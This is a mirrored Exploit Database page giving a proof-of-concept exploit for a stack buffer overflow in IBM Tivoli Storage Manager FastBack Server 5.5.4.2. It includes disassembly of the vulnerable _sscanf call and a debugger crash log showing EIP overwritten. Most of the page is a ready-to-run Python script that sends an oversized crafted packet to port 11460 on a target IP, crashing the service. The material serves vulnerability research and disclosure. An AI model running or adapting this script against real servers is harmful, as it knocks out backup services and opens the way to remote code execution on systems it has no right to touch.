IBM Tivoli Storage Manager FastBack Server 5.5.4.2 – ‘_FXCLI_SetConfFileChunk’ Stack Buffer Overflow (PoC)

• Exploit Database
• 97 阅读

• 作者： Ptrace Security
  日期： 2015-12-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38979/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116

  #!/usr/bin/python # ################################################################################ # #Title: IBM Tivoli Storage Manager FastBack Server 5.5.4.2 # _FXCLI_SetConfFileChunk Stack Buffer Overflow Vulnerability # Date: 14 December 2015 # Author: Gianni Gnesa (gnix) # #Vendor Homepage: http://www.ibm.com/ #Software Name: IBM Tivoli Storage Manager FastBack # Software Version: 5.5.4.2 (x86) #Software Link: - Go to https://www-01.ibm.com/marketing/iwm/tnd/search.jsp?pn=Tivoli+Storage+Manager # - Select "IBM Tivoli Storage Manager FastBack Try-and-Buy" # (Version 5.5.4.2, Size: 120.7 MB) # #Tested on: Windows 7 Professional (x86) # ################################################################################ # # Vulnerability: # ============== # # The vulnerability is a stack buffer overflow in the _FXCLI_SetConfFileChunk # function caused by the insecure usage of _sscanf while parsing user-controlled # input. # # .text:00578D28lea eax, [ebp+var_8] # .text:00578D2Bpusheax # .text:00578D2Clea ecx, [ebp+var_C] # .text:00578D2Fpushecx # .text:00578D30lea edx, [ebp+var_318] # .text:00578D36pushedx # .text:00578D37lea eax, [ebp+var_4] # .text:00578D3Apusheax # .text:00578D3Blea ecx, [ebp+Str1] <=== Buffer that will be overwritten # .text:00578D41pushecx # .text:00578D42pushoffset $SG128695 ; "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" # .text:00578D47mov edx, [ebp+Src] # .text:00578D4Apushedx ; Src <=== Buffer under our control # .text:00578D4Bcall_sscanf <=== Stack Buffer Overflow!!! # ################################################################################ # # Crash: # ====== # # (a20.ee8): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=01cd4fb8 ecx=01eaca78 edx=776870b4 esi=01cd4fb8 edi=00000000 # eip=41414141 esp=01eae324 ebp=41414141 iopl=0 nv up ei pl zr na pe nc # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246 # 41414141 ????? # ################################################################################   import sys import time import socket from struct import pack     def create_pkt(opcode, p1="", p2="", p3=""):   # psAgentCommand (0x30 bytes) buf = "\x44" * 0xC buf+= pack("<L", opcode) # opcode   buf+= pack("<i", 0x0) # 1st memcpy: offset (in psCommandBuffer.data) for Src field buf+= pack("<i", len(p1)) # 1st memcpy: size field buf+= pack("<i", len(p1)) # 2nd memcpy: offset (in psCommandBuffer.data) for Src field buf+= pack("<i", len(p2)) # 2nd memcpy: size field buf+= pack("<i", len(p1) + len(p2)) # 3rd memcpy: offset (in psCommandBuffer.data) for Src field buf+= pack("<i", len(p3)) # 3rd memcpy: size field   buf+= "\x44\x44\x44\x44" buf+= "\x44\x44\x44\x44"   # psCommandBuffer buf+= p1 buf+= p2 buf+= p3 # buf len - 4 because the packet length is not included buf = pack(">i", len(buf)-4) + buf return buf def main(): if len(sys.argv) != 2: print "Usage: %s <ip_address>\n" % sys.argv[0] sys.exit(1)   server = sys.argv[1] port = 11460   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) pkt = create_pkt( opcode=0x534, p1 = "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % ("A"*10000,0,0,0,0), p2 = "B" * 24000, p3 = "C" * 24000 )   s.send(pkt) s.close()   print "[+] Packet sent." sys.exit(0) if __name__ == "__main__": main()